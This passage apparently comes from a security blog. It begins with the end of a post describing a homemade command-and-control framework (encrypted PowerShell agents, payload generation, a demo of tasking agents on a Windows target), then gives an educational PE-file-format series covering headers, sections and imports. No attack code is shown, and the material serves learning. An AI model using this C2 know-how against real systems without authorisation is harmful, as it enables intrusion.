The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.
An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:
The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.
First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:
After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.
The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.
I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.
For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.
I created wrapper functions that read, write and remove objects from the databases:
I will show you a quick demo on a Windows Server 2016 target.
This is how the home of the server looks like:
Let’s start by creating a listener:
Now let’s create a payload, I created the three available payloads:
After executing the payloads on the target we’ll see that the agents successfully contacted the server:
Let’s rename the agents:
I executed 4 simple commands on each agent:
Then I tasked each agent to quit.
And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.
If you liked the article tweet about it, thanks for reading.
This is going to be a series of blog posts covering PE files in depth, it’s going to include a range of different topics, mainly the structure of PE files on disk and the way PE files get mapped and loaded into memory, we’ll also discuss applying that knowledge into building proof-of-concepts like PE parsers, packers and loaders, and also proof-of-concepts for some of the memory injection techniques that require this kind of knowledge, techniques like PE injection, process hollowing, dll reflective injection etc..
Why ?
The more I got into reverse engineering or malware development the more I found that knowledge about the PE file format is absolutely essential, I already knew the basics about PE files but I never learned about them properly.
Lately I have decided to learn about PE files, so the upcoming series of posts is going to be a documentation of what I’ve learned.
These posts are not going to cover anything new, there are a lot of resources that talk about the same thing, also the techniques that are going to be covered later have been known for some time.
The goal is not to present anything new, the goal is to form a better understanding of things that already exist.
Contribution
If you’d like to add anything or if you found a mistake that needs correction feel free to contact me. Contact information can be found in the about page.
A dive into the PE file format - PE file structure - Part 1: Overview
Introduction
The aim of this post is to provide a basic introduction to the PE file structure without talking about any details.
PE files
PE stands for Portable Executable, it’s a file format for executables used in Windows operating systems, it’s based on the COFF file format (Common Object File Format).
Not only .exe files are PE files, dynamic link libraries (.dll), Kernel modules (.srv), Control panel applications (.cpl) and many others are also PE files.
A PE file is a data structure that holds information necessary for the OS loader to be able to load that executable into memory and execute it.
Structure Overview
A typical PE file follows the structure outlined in the following figure:
If we open an executable file with PE-bear we’ll see the same thing:
DOS Header
Every PE file starts with a 64-bytes-long structure called the DOS header, it’s what makes the PE file an MS-DOS executable.
DOS Stub
After the DOS header comes the DOS stub which is a small MS-DOS 2.0 compatible executable that just prints an error message saying “This program cannot be run in DOS mode” when the program is run in DOS mode.
NT Headers
The NT Headers part contains three main parts:
PE signature: A 4-byte signature that identifies the file as a PE file.
File Header: A standard COFF File Header. It holds some information about the PE file.
Optional Header: The most important header of the NT Headers, its name is the Optional Header because some files like object files don’t have it, however it’s required for image files (files like .exe files). This header provides important information to the OS loader.
Section Table
The section table follows the Optional Header immediately, it is an array of Image Section Headers, there’s a section header for every section in the PE file.
Each header contains information about the section it refers to.
Sections
Sections are where the actual contents of the file are stored, these include things like data and resources that the program uses, and also the actual code of the program, there are several sections each one with its own purpose.
Conclusion
In this post we looked at a very basic overview of the PE file structure and talked briefly about the main parts of a PE files.
In the upcoming posts we’ll talk about each one of these parts in much more detail.
A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header
Introduction
In the previous post we looked at a high level overview of the PE file structure, in this post we’re going to talk about the first two parts which are the DOS Header and the DOS Stub.
The PE viewer I’m going to use throughout the series is called PE-bear, it’s full of features and has a good UI.
DOS Header
Overview
The DOS header (also called the MS-DOS header) is a 64-byte-long structure that exists at the start of the PE file.
it’s not important for the functionality of PE files on modern Windows systems, however it’s there because of backward compatibility reasons.
This header makes the file an MS-DOS executable, so when it’s loaded on MS-DOS the DOS stub gets executed instead of the actual program.
Without this header, if you attempt to load the executable on MS-DOS it will not be loaded and will just produce a generic error.
Structure
As mentioned before, it’s a 64-byte-long structure, we can take a look at the contents of that structure by looking at the IMAGE_DOS_HEADER structure definition from winnt.h:
typedefstruct_IMAGE_DOS_HEADER{// DOS .EXE headerWORDe_magic;// Magic numberWORDe_cblp;// Bytes on last page of fileWORDe_cp;// Pages in fileWORDe_crlc;// RelocationsWORDe_cparhdr;// Size of header in paragraphsWORDe_minalloc;// Minimum extra paragraphs neededWORDe_maxalloc;// Maximum extra paragraphs neededWORDe_ss;// Initial (relative) SS valueWORDe_sp;// Initial SP valueWORDe_csum;// ChecksumWORDe_ip;// Initial IP valueWORDe_cs;// Initial (relative) CS valueWORDe_lfarlc;// File address of relocation tableWORDe_ovno;// Overlay numberWORDe_res[4];// Reserved wordsWORDe_oemid;// OEM identifier (for e_oeminfo)WORDe_oeminfo;// OEM information; e_oemid specificWORDe_res2[10];// Reserved wordsLONGe_lfanew;// File address of new exe header}IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;
This structure is important to the PE loader on MS-DOS, however only a few members of it are important to the PE loader on Windows Systems, so we’re not going to cover everything in here, just the important members of the structure.
e_magic: This is the first member of the DOS Header, it’s a WORD so it occupies 2 bytes, it’s usually called the magic number.
It has a fixed value of 0x5A4D or MZ in ASCII, and it serves as a signature that marks the file as an MS-DOS executable.
e_lfanew: This is the last member of the DOS header structure, it’s located at offset 0x3C into the DOS header and it holds an offset to the start of the NT headers.
This member is important to the PE loader on Windows systems because it tells the loader where to look for the file header.
The following picture shows contents of the DOS header in an actual PE file using PE-bear:
As you can see, the first member of the header is the magic number with the fixed value we talked about which was 5A4D.
The last member of the header (at offset 0x3C) is given the name “File address of new exe header”, it has the value 100, we can follow to that offset and we’ll find the start of the NT headers as expected:
DOS Stub
Overview
The DOS stub is an MS-DOS program that prints an error message saying that the executable is not compatible with DOS then exits.
This is what gets executed when the program is loaded in MS-DOS, the default error message is “This program cannot be run in DOS mode.”, however this message can be changed by the user during compile time.
That’s all we need to know about the DOS stub, we don’t really care about it, but let’s take a look at what it’s doing just for fun.
Analysis
To be able to disassemble the machine code of the DOS stub, I copied the code of the stub from PE-bear, then I created a new file with the stub contents using a hex editor (HxD) and gave it the name dos-stub.exe.
Stub code:
0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
After that I used IDA to disassemble the executable, MS-DOS programs are 16-bit programs, so I chose the intel 8086 processor type and the 16-bit disassembly mode.
It’s a fairly simple program, let’s step through it line by line:
seg000:0000 push cs
seg000:0001 pop ds
First line pushes the value of cs onto the stack and the second line pops that value from the top of stack into ds. This is just a way of setting the value of the data segment to the same value as the code segment.
seg000:0002 mov dx, 0Eh
seg000:0005 mov ah, 9
seg000:0007 int 21h ; DOS - PRINT STRING
seg000:0007 ; DS:DX -> string terminated by "$"
These three lines are responsible for printing the error message, first line sets dx to the address of the string “This program cannot be run in DOS mode.” (0xe), second line sets ah to 9 and the last line invokes interrupt 21h.
Interrupt 21h is a DOS interrupt (API call) that can do a lot of things, it takes a parameter that determines what function to execute and that parameter is passed in the ah register.
We see here that the value 9 is given to the interrupt, 9 is the code of the function that prints a string to the screen, that function takes a parameter which is the address of the string to print, that parameter is passed in the dx register as we can see in the code.
Information about the DOS API can be found on wikipedia.
seg000:0009 mov ax, 4C01h
seg000:000C int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:000C ; AL = exit code
The last three lines of the program are again an interrupt 21h call, this time there’s a mov instruction that puts 0X4C01 into ax, this sets al to 0x01 and ah to 0x4c.
0x4c is the function code of the function that exits with an error code, it takes the error code from al, which in this case is 1.
So in summary, all the DOS stub is doing is print the error message then exit with code 1.
Rich Header
So now we’ve seen the DOS Header and the DOS Stub, however there’s still a chunk of data we haven’t talked about lying between the DOS Stub and the start of the NT Headers.
This chunk of data is commonly referred to as the Rich Header, it’s an undocumented structure that’s only present in executables built using the Microsoft Visual Studio toolset.
This structure holds some metadata about the tools used to build the executable like their names or types and their specific versions and build numbers.
All of the resources I have read about PE files didn’t mention this structure, however when searching about the Rich Header itself I found a decent amount of resources, and that makes sense because the Rich Header is not actually a part of the PE file format structure and can be completely zeroed-out without interfering with the executable’s functionality, it’s just something that Microsoft adds to any executable built using their Visual Studio toolset.
I only know about the Rich Header because I’ve read the reports on the Olympic Destroyer malware, and for those who don’t know what Olympic Destroyer is, it’s a malware that was written and used by a threat group in an attempt to disrupt the 2018 Winter Olympics.
This piece of malware is known for having a lot of false flags that were intentionally put to cause confusion and misattribution, one of the false flags present there was a Rich Header.
The authors of the malware overwrote the original Rich Header in the malware executable with the Rich Header of another malware attributed to the Lazarus threat group to make it look like it was Lazarus.
You can check Kaspersky’s report for more information about this.
The Rich Header consists of a chunk of XORed data followed by a signature (Rich) and a 32-bit checksum value that is the XOR key.
The encrypted data consists of a DWORD signature DanS, 3 zeroed-out DWORDs for padding, then pairs of DWORDS each pair representing an entry, and each entry holds a tool name, its build number and the number of times it’s been used.
In each DWORD pair the first pair holds the type ID or the product ID in the high WORD and the build ID in the low WORD, the second pair holds the use count.
PE-bear parses the Rich Header automatically:
As you can see the DanS signature is the first thing in the structure, then there are 3 zeroed-out DWORDs and after that comes the entries.
We can also see the corresponding tools and Visual Studio versions of the product and build IDs.
As an exercise I wrote a script to parse this header myself, it’s a very simple process, all we need to do is to XOR the data, then read the entry pairs and translate them.
Please note that I had to reverse the byte-order because the data was presented in little-endian.
After running the script we can see an output that’s identical to PE-bear’s interpretation, meaning that the script works fine.
Translating these values into the actual tools types and versions is a matter of collecting the values from actual Visual Studio installations.
I checked the source code of bearparser (the parser used in PE-bear) and I found comments mentioning where these values were collected from.
//list from: https://github.com/kirschju/richheader//list based on: https://github.com/kirschju/richheader + pnx's notes
In this post we talked about the first two parts of the PE file, the DOS header and the DOS stub, we looked at the members of the DOS header structure and we reversed the DOS stub program.
We also looked at the Rich Header, a structure that’s not essentially a part of the PE file format but was worth checking.
The following image summarizes what we’ve talked about in this post:
A dive into the PE file format - PE file structure - Part 3: NT Headers
Introduction
In the previous post we looked at the structure of the DOS header and we reversed the DOS stub.
In this post we’re going to talk about the NT Headers part of the PE file structure.
Before we get into the post, we need to talk about an important concept that we’re going to see a lot, and that is the concept of a Relative Virtual Address or an RVA.
An RVA is just an offset from where the image was loaded in memory (the Image Base). So to translate an RVA into an absolute virtual address you need to add the value of the RVA to the value of the Image Base.
PE files rely heavily on the use of RVAs as we’ll see later.
NT Headers (IMAGE_NT_HEADERS)
NT headers is a structure defined in winnt.h as IMAGE_NT_HEADERS, by looking at its definition we can see that it has three members, a DWORD signature, an IMAGE_FILE_HEADER structure called FileHeader and an IMAGE_OPTIONAL_HEADER structure called OptionalHeader.
It’s worth mentioning that this structure is defined in two different versions, one for 32-bit executables (Also named PE32 executables) named IMAGE_NT_HEADERS and one for 64-bit executables (Also named PE32+ executables) named IMAGE_NT_HEADERS64.
The main difference between the two versions is the used version of IMAGE_OPTIONAL_HEADER structure which has two versions, IMAGE_OPTIONAL_HEADER32 for 32-bit executables and IMAGE_OPTIONAL_HEADER64 for 64-bit executables.
First member of the NT headers structure is the PE signature, it’s a DWORD which means that it occupies 4 bytes.
It always has a fixed value of 0x50450000 which translates to PE\0\0 in ASCII.
Here’s a screenshot from PE-bear showing the PE signature:
File Header (IMAGE_FILE_HEADER)
Also called “The COFF File Header”, the File Header is a structure that holds some information about the PE file.
It’s defined as IMAGE_FILE_HEADER in winnt.h, here’s the definition:
Machine: This is a number that indicates the type of machine (CPU Architecture) the executable is targeting, this field can have a lot of values, but we’re only interested in two of them, 0x8864 for AMD64 and 0x14c for i386. For a complete list of possible values you can check the official Microsoft documentation.
NumberOfSections: This field holds the number of sections (or the number of section headers aka. the size of the section table.).
TimeDateStamp: A unix timestamp that indicates when the file was created.
PointerToSymbolTable and NumberOfSymbols: These two fields hold the file offset to the COFF symbol table and the number of entries in that symbol table, however they get set to 0 which means that no COFF symbol table is present, this is done because the COFF debugging information is deprecated.
SizeOfOptionalHeader: The size of the Optional Header.
Characteristics: A flag that indicates the attributes of the file, these attributes can be things like the file being executable, the file being a system file and not a user program, and a lot of other things. A complete list of these flags can be found on the official Microsoft documentation.
Here’s the File Header contents of an actual PE file:
Optional Header (IMAGE_OPTIONAL_HEADER)
The Optional Header is the most important header of the NT headers, the PE loader looks for specific information provided by that header to be able to load and run the executable.
It’s called the optional header because some file types like object files don’t have it, however this header is essential for image files.
It doesn’t have a fixed size, that’s why the IMAGE_FILE_HEADER.SizeOfOptionalHeader member exists.
The first 8 members of the Optional Header structure are standard for every implementation of the COFF file format, the rest of the header is an extension to the standard COFF optional header defined by Microsoft, these additional members of the structure are needed by the Windows PE loader and linker.
As mentioned earlier, there are two versions of the Optional Header, one for 32-bit executables and one for 64-bit executables.
The two versions are different in two aspects:
The size of the structure itself (or the number of members defined within the structure):IMAGE_OPTIONAL_HEADER32 has 31 members while IMAGE_OPTIONAL_HEADER64 only has 30 members, that additional member in the 32-bit version is a DWORD named BaseOfData which holds an RVA of the beginning of the data section.
The data type of some of the members: The following 5 members of the Optional Header structure are defined as DWORD in the 32-bit version and as ULONGLONG in the 64-bit version:
ImageBase
SizeOfStackReserve
SizeOfStackCommit
SizeOfHeapReserve
SizeOfHeapCommit
Let’s take a look at the definition of both structures.
typedefstruct_IMAGE_OPTIONAL_HEADER{//// Standard fields.//WORDMagic;BYTEMajorLinkerVersion;BYTEMinorLinkerVersion;DWORDSizeOfCode;DWORDSizeOfInitializedData;DWORDSizeOfUninitializedData;DWORDAddressOfEntryPoint;DWORDBaseOfCode;DWORDBaseOfData;//// NT additional fields.//DWORDImageBase;DWORDSectionAlignment;DWORDFileAlignment;WORDMajorOperatingSystemVersion;WORDMinorOperatingSystemVersion;WORDMajorImageVersion;WORDMinorImageVersion;WORDMajorSubsystemVersion;WORDMinorSubsystemVersion;DWORDWin32VersionValue;DWORDSizeOfImage;DWORDSizeOfHeaders;DWORDCheckSum;WORDSubsystem;WORDDllCharacteristics;DWORDSizeOfStackReserve;DWORDSizeOfStackCommit;DWORDSizeOfHeapReserve;DWORDSizeOfHeapCommit;DWORDLoaderFlags;DWORDNumberOfRvaAndSizes;IMAGE_DATA_DIRECTORYDataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;
Magic: Microsoft documentation describes this field as an integer that identifies the state of the image, the documentation mentions three common values:
0x10B: Identifies the image as a PE32 executable.
0x20B: Identifies the image as a PE32+ executable.
0x107: Identifies the image as a ROM image.
The value of this field is what determines whether the executable is 32-bit or 64-bit, IMAGE_FILE_HEADER.Machine is ignored by the Windows PE loader.
MajorLinkerVersion and MinorLinkerVersion: The linker major and minor version numbers.
SizeOfCode: This field holds the size of the code (.text) section, or the sum of all code sections if there are multiple sections.
SizeOfInitializedData: This field holds the size of the initialized data (.data) section, or the sum of all initialized data sections if there are multiple sections.
SizeOfUninitializedData: This field holds the size of the uninitialized data (.bss) section, or the sum of all uninitialized data sections if there are multiple sections.
AddressOfEntryPoint: An RVA of the entry point when the file is loaded into memory.
The documentation states that for program images this relative address points to the starting address and for device drivers it points to initialization function. For DLLs an entry point is optional, and in the case of entry point absence the AddressOfEntryPoint field is set to 0.
BaseOfCode: An RVA of the start of the code section when the file is loaded into memory.
BaseOfData (PE32 Only): An RVA of the start of the data section when the file is loaded into memory.
ImageBase: This field holds the preferred address of the first byte of image when loaded into memory (the preferred base address), this value must be a multiple of 64K.
Due to memory protections like ASLR, and a lot of other reasons, the address specified by this field is almost never used, in this case the PE loader chooses an unused memory range to load the image into, after loading the image into that address the loader goes into a process called the relocating where it fixes the constant addresses within the image to work with the new image base, there’s a special section that holds information about places that will need fixing if relocation is needed, that section is called the relocation section (.reloc), more on that in the upcoming posts.
SectionAlignment: This field holds a value that gets used for section alignment in memory (in bytes), sections are aligned in memory boundaries that are multiples of this value.
The documentation states that this value defaults to the page size for the architecture and it can’t be less than the value of FileAlignment.
FileAlignment: Similar to SectionAligment this field holds a value that gets used for section raw data alignment on disk (in bytes), if the size of the actual data in a section is less than the FileAlignment value, the rest of the chunk gets padded with zeroes to keep the alignment boundaries.
The documentation states that this value should be a power of 2 between 512 and 64K, and if the value of SectionAlignment is less than the architecture’s page size then the sizes of FileAlignment and SectionAlignment must match.
MajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, MinorImageVersion, MajorSubsystemVersion and MinorSubsystemVersion: These members of the structure specify the major version number of the required operating system, the minor version number of the required operating system, the major version number of the image, the minor version number of the image, the major version number of the subsystem and the minor version number of the subsystem respectively.
Win32VersionValue: A reserved field that the documentation says should be set to 0.
SizeOfImage: The size of the image file (in bytes), including all headers. It gets rounded up to a multiple of SectionAlignment because this value is used when loading the image into memory.
SizeOfHeaders: The combined size of the DOS stub, PE header (NT Headers), and section headers rounded up to a multiple of FileAlignment.
CheckSum: A checksum of the image file, it’s used to validate the image at load time.
Subsystem: This field specifies the Windows subsystem (if any) that is required to run the image, A complete list of the possible values of this field can be found on the official Microsoft documentation.
DLLCharacteristics: This field defines some characteristics of the executable image file, like if it’s NX compatible and if it can be relocated at run time.
I have no idea why it’s named DLLCharacteristics, it exists within normal executable image files and it defines characteristics that can apply to normal executable files.
A complete list of the possible flags for DLLCharacteristics can be found on the official Microsoft documentation.
SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve and SizeOfHeapCommit: These fields specify the size of the stack to reserve, the size of the stack to commit, the size of the local heap space to reserve and the size of the local heap space to commit respectively.
LoaderFlags: A reserved field that the documentation says should be set to 0.
NumberOfRvaAndSizes : Size of the DataDirectory array.
DataDirectory: An array of IMAGE_DATA_DIRECTORY structures. We will talk about this in the next post.
Let’s take a look at the Optional Header contents of an actual PE file.
We can talk about some of these fields, first one being the Magic field at the start of the header, it has the value 0x20B meaning that this is a PE32+ executable.
We can see that the entry point RVA is 0x12C4 and the code section start RVA is 0x1000, it follows the alignment defined by the SectionAlignment field which has the value of 0x1000.
File alignment is set to 0x200, and we can verify this by looking at any of the sections, for example the data section:
As you can see, the actual contents of the data section are from 0x2200 to 0x2229, however the rest of the section is padded until 0x23FF to comply with the alignment defined by FileAlignment.
SizeOfImage is set to 7000 and SizeOfHeaders is set to 400, both are multiples of SectionAlignment and FileAlignment respectively.
The Subsystem field is set to 3 which is the Windows console, and that makes sense because the program is a console application.
I didn’t include the DataDirectory in the optional header contents screenshot because we still haven’t talked about it yet.
Conclusion
We’ve reached the end of this post. In summary we looked at the NT Headers structure, and we discussed the File Header and Optional Header structures in detail.
In the next post we will take a look at the Data Directories, the Section Headers, and the sections.
Thanks for reading.
A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections
Introduction
In the last post we talked about the NT Headers and we skipped the last part of the Optional Header which was the data directories.
In this post we’re going to talk about what data directories are and where they are located.
We’re also going to cover section headers and sections in this post.
Data Directories
The last member of the IMAGE_OPTIONAL_HEADER structure was an array of IMAGE_DATA_DIRECTORY structures defined as follows:
It’s a very simple structure with only two members, first one being an RVA pointing to the start of the Data Directory and the second one being the size of the Data Directory.
So what is a Data Directory? Basically a Data Directory is a piece of data located within one of the sections of the PE file.
Data Directories contain useful information needed by the loader, an example of a very important directory is the Import Directory which contains a list of external functions imported from other libraries, we’ll discuss it in more detail when we go over PE imports.
Please note that not all Data Directories have the same structure, the IMAGE_DATA_DIRECTORY.VirtualAddress points to the Data Directory, however the type of that directory is what determines how that chunk of data is going to be parsed.
Here’s a list of Data Directories defined in winnt.h. (Each one of these values represents an index in the DataDirectory array):
If we take a look at the contents of IMAGE_OPTIONAL_HEADER.DataDirectory of an actual PE file, we might see entries where both fields are set to 0:
This means that this specific Data Directory is not used (doesn’t exist) in the executable file.
Sections and Section Headers
Sections
Sections are the containers of the actual data of the executable file, they occupy the rest of the PE file after the headers, precisely after the section headers.
Some sections have special names that indicate their purpose, we’ll go over some of them, and a full list of these names can be found on the official Microsoft documentation under the “Special Sections” section.
.text: Contains the executable code of the program.
.data: Contains the initialized data.
.bss: Contains uninitialized data.
.rdata: Contains read-only initialized data.
.edata: Contains the export tables.
.idata: Contains the import tables.
.reloc: Contains image relocation information.
.rsrc: Contains resources used by the program, these include images, icons or even embedded binaries.
.tls: (Thread Local Storage), provides storage for every executing thread of the program.
Section Headers
After the Optional Header and before the sections comes the Section Headers.
These headers contain information about the sections of the PE file.
A Section Header is a structure named IMAGE_SECTION_HEADER defined in winnt.h as follows:
Name: First field of the Section Header, a byte array of the size IMAGE_SIZEOF_SHORT_NAME that holds the name of the section.
IMAGE_SIZEOF_SHORT_NAME has the value of 8 meaning that a section name can’t be longer than 8 characters.
For longer names the official documentation mentions a work-around by filling this field with an offset in the string table, however executable images do not use a string table so this limitation of 8 characters holds for executable images.
PhysicalAddress or VirtualSize: A union defines multiple names for the same thing, this field contains the total size of the section when it’s loaded in memory.
VirtualAddress: The documentation states that for executable images this field holds the address of the first byte of the section relative to the image base when loaded in memory, and for object files it holds the address of the first byte of the section before relocation is applied.
SizeOfRawData: This field contains the size of the section on disk, it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
SizeOfRawData and VirtualSize can be different, we’ll discuss the reason for this later in the post.
PointerToRawData: A pointer to the first page of the section within the file, for executable images it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
PointerToRelocations: A file pointer to the beginning of relocation entries for the section. It’s set to 0 for executable files.
PointerToLineNumbers: A file pointer to the beginning of COFF line-number entries for the section. It’s set to 0 because COFF debugging information is deprecated.
NumberOfRelocations: The number of relocation entries for the section, it’s set to 0 for executable images.
NumberOfLinenumbers: The number of COFF line-number entries for the section, it’s set to 0 because COFF debugging information is deprecated.
Characteristics: Flags that describe the characteristics of the section.
These characteristics are things like if the section contains executable code, contains initialized/uninitialized data, can be shared in memory.
A complete list of section characteristics flags can be found on the official Microsoft documentation.
SizeOfRawData and VirtualSize can be different, and this can happen for multiple of reasons.
SizeOfRawData must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment, so if the section size is less than that value the rest gets padded and SizeOfRawData gets rounded to the nearest multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
However when the section is loaded into memory it doesn’t follow that alignment and only the actual size of the section is occupied.
In this case SizeOfRawData will be greater than VirtualSize
The opposite can happen as well.
If the section contains uninitialized data, these data won’t be accounted for on disk, but when the section gets mapped into memory, the section will expand to reserve memory space for when the uninitialized data gets later initialized and used.
This means that the section on disk will occupy less than it will do in memory, in this case VirtualSize will be greater than SizeOfRawData.
Here’s the view of Section Headers in PE-bear:
We can see Raw Addr. and Virtual Addr. fields which correspond to IMAGE_SECTION_HEADER.PointerToRawData and IMAGE_SECTION_HEADER.VirtualAddress.
Raw Size and Virtual Size correspond to IMAGE_SECTION_HEADER.SizeOfRawData and IMAGE_SECTION_HEADER.VirtualSize.
We can see how these two fields are used to calculate where the section ends, both on disk and in memory.
For example if we take the .text section, it has a raw address of 0x400 and a raw size of 0xE00, if we add them together we get 0x1200 which is displayed as the section end on disk.
Similarly we can do the same with virtual size and address, virtual address is 0x1000 and virtual size is 0xD2C, if we add them together we get 0x1D2C.
The Characteristics field marks some sections as read-only, some other sections as read-write and some sections as readable and executable.
PointerToRelocations, NumberOfRelocations and NumberOfLinenumbers are set to 0 as expected.
Conclusion
That’s it for this post, we’ve discussed what Data Directories are and we talked about sections.
The next post will be about PE imports.
Thanks for reading.
A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)
Introduction
In this post we’re going to talk about a very important aspect of PE files, the PE imports.
To understand how PE files handle their imports, we’ll go over some of the Data Directories present in the Import Data section (.idata), the Import Directory Table, the Import Lookup Table (ILT) or also referred to as the Import Name Table (INT) and the Import Address Table (IAT).
Import Directory Table
The Import Directory Table is a Data Directory located at the beginning of the .idata section.
It consists of an array of IMAGE_IMPORT_DESCRIPTOR structures, each one of them is for a DLL.
It doesn’t have a fixed size, so the last IMAGE_IMPORT_DESCRIPTOR of the array is zeroed-out (NULL-Padded) to indicate the end of the Import Directory Table.
TimeDateStamp: A time date stamp, that’s initially set to 0 if not bound and set to -1 if bound.
In case of an unbound import the time date stamp gets updated to the time date stamp of the DLL after the image is bound.
In case of a bound import it stays set to -1 and the real time date stamp of the DLL can be found in the Bound Import Directory Table in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR .
We’ll discuss bound imports in the next section.
ForwarderChain: The index of the first forwarder chain reference.
This is something responsible for DLL forwarding. (DLL forwarding is when a DLL forwards some of its exported functions to another DLL.)
Name: An RVA of an ASCII string that contains the name of the imported DLL.
FirstThunk: RVA of the IAT.
Bound Imports
A bound import essentially means that the import table contains fixed addresses for the imported functions.
These addresses are calculated and written during compile time by the linker.
Using bound imports is a speed optimization, it reduces the time needed by the loader to resolve function addresses and fill the IAT, however if at run-time the bound addresses do not match the real ones then the loader will have to resolve these addresses again and fix the IAT.
When discussing IMAGE_IMPORT_DESCRIPTOR.TimeDateStamp, I mentioned that in case of a bound import, the time date stamp is set to -1 and the real time date stamp of the DLL can be found in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR in the Bound Import Data Directory.
Bound Import Data Directory
The Bound Import Data Directory is similar to the Import Directory Table, however as the name suggests, it holds information about the bound imports.
It consists of an array of IMAGE_BOUND_IMPORT_DESCRIPTOR structures, and ends with a zeroed-out IMAGE_BOUND_IMPORT_DESCRIPTOR.
IMAGE_BOUND_IMPORT_DESCRIPTOR is defined as follows:
typedefstruct_IMAGE_BOUND_IMPORT_DESCRIPTOR{DWORDTimeDateStamp;WORDOffsetModuleName;WORDNumberOfModuleForwarderRefs;// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows}IMAGE_BOUND_IMPORT_DESCRIPTOR,*PIMAGE_BOUND_IMPORT_DESCRIPTOR;
TimeDateStamp: The time date stamp of the imported DLL.
OffsetModuleName: An offset to a string with the name of the imported DLL.
It’s an offset from the first IMAGE_BOUND_IMPORT_DESCRIPTOR
NumberOfModuleForwarderRefs: The number of the IMAGE_BOUND_FORWARDER_REF structures that immediately follow this structure.
IMAGE_BOUND_FORWARDER_REF is a structure that’s identical to IMAGE_BOUND_IMPORT_DESCRIPTOR, the only difference is that the last member is reserved.
That’s all we need to know about bound imports.
Import Lookup Table (ILT)
Sometimes people refer to it as the Import Name Table (INT).
Every imported DLL has an Import Lookup Table.
IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk holds the RVA of the ILT of the corresponding DLL.
The ILT is essentially a table of names or references, it tells the loader which functions are needed from the imported DLL.
The ILT consists of an array of 32-bit numbers (for PE32) or 64-bit numbers for (PE32+), the last one is zeroed-out to indicate the end of the ILT.
Each entry of these entries encodes information as follows:
Bit 31/63 (most significant bit): This is called the Ordinal/Name flag, it specifies whether to import the function by name or by ordinal.
Bits 15-0: If the Ordinal/Name flag is set to 1 these bits are used to hold the 16-bit ordinal number that will be used to import the function, bits 30-15/62-15 for PE32/PE32+ must be set to 0.
Bits 30-0: If the Ordinal/Name flag is set to 0 these bits are used to hold an RVA of a Hint/Name table.
Hint/Name Table
A Hint/Name table is a structure defined in winnt.h as IMAGE_IMPORT_BY_NAME:
Hint: A word that contains a number, this number is used to look-up the function, that number is first used as an index into the export name pointer table, if that initial check fails a binary search is performed on the DLL’s export name pointer table.
Name: A null-terminated string that contains the name of the function to import.
Import Address Table (IAT)
On disk, the IAT is identical to the ILT, however during bounding when the binary is being loaded into memory, the entries of the IAT get overwritten with the addresses of the functions that are being imported.
Summary
So to summarize what we discussed in this post, for every DLL the executable is loading functions from, there will be an IMAGE_IMPORT_DESCRIPTOR within the Image Directory Table.
The IMAGE_IMPORT_DESCRIPTOR will contain the name of the DLL, and two fields holding RVAs of the ILT and the IAT.
The ILT will contain references for all the functions that are being imported from the DLL.
The IAT will be identical to the ILT until the executable is loaded in memory, then the loader will fill the IAT with the actual addresses of the imported functions.
If the DLL import is a bound import, then the import information will be contained in IMAGE_BOUND_IMPORT_DESCRIPTOR structures in a separate Data Directory called the Bound Import Data Directory.
Let’s take a quick look at the import information inside of an actual PE file.
Here’s the Import Directory Table of the executable:
All of these entries are IMAGE_IMPORT_DESCRIPTORs.
As you can see, the TimeDateStamp of all the imports is set to 0, meaning that none of these imports are bound, this is also confirmed in the Bound? column added by PE-bear.
For example, if we take USER32.dll and follow the RVA of its ILT (referenced by OriginalFirstThunk), we’ll find only 1 entry (because only one function is imported), and that entry looks like this:
This is a 64-bit executable, so the entry is 64 bits long.
As you can see, the last byte is set to 0, indicating that a Hint/Table name should be used to look-up the function.
We know that the RVA of this Hint/Table name should be referenced by the first 2 bytes, so we should follow RVA 0x29F8:
Now we’re looking at an IMAGE_IMPORT_BY_NAME structure, first two bytes hold the hint, which in this case is 0x283, the rest of the structure holds the full name of the function which is MessageBoxA.
We can verify that our interpretation of the data is correct by looking at how PE-bear parsed it, and we’ll see the same results:
Conclusion
That’s all I have to say about PE imports, in the next post I’ll discuss PE base relocations.
Thanks for reading.
A dive into the PE file format - PE file structure - Part 6: PE Base Relocations
Introduction
In this post we’re going to talk about PE base relocations.
We’re going to discuss what relocations are, then we’ll take a look at the relocation table.
Relocations
